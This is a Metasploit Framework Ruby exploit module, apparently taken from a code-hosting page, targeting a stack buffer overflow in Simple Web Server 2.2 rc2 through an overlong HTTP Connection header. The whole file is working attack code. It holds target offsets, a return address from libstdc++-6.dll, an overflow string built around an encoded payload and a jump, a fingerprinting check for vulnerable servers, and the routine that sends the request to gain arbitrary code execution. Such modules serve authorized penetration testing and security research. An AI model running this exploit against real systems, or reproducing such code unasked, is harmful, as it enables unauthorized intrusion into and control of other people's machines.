98 lines
2.5 KiB
Ruby
98 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "Simple Web Server Connection Header Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
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can send a long string data in the Connection Header to causes an overflow on the
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stack when function vsprintf() is used, and gain arbitrary code execution. The
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module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'mr.pr0n', # Vulnerability Discovery and PoC
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'juan' # Metasploit module
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],
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'References' =>
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[
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['OSVDB', '84310'],
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['EDB', '19937'],
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['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
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],
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'Payload' =>
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{
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'BadChars' => "\x00\x0a\x0d",
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'Space' => 2048,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
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},
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'DefaultOptions' =>
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{
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'EXITFUNC' => "process",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
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{
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'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
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'Offset' => 2048,
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'OffsetEDI' => 84
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Jul 20 2012",
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_raw({'uri'=>'/'})
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if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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sploit = payload.encoded
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sploit << rand_text(target['Offset'] - sploit.length)
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sploit << [target.ret].pack("V") # eip
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sploit << rand_text(target['OffsetEDI'])
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string
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print_status("Trying target #{target.name}...")
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connect
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send_request_cgi({
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'uri' => '/',
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'version' => '1.1',
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'method' => 'GET',
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'connection' => sploit
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})
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disconnect
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end
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end
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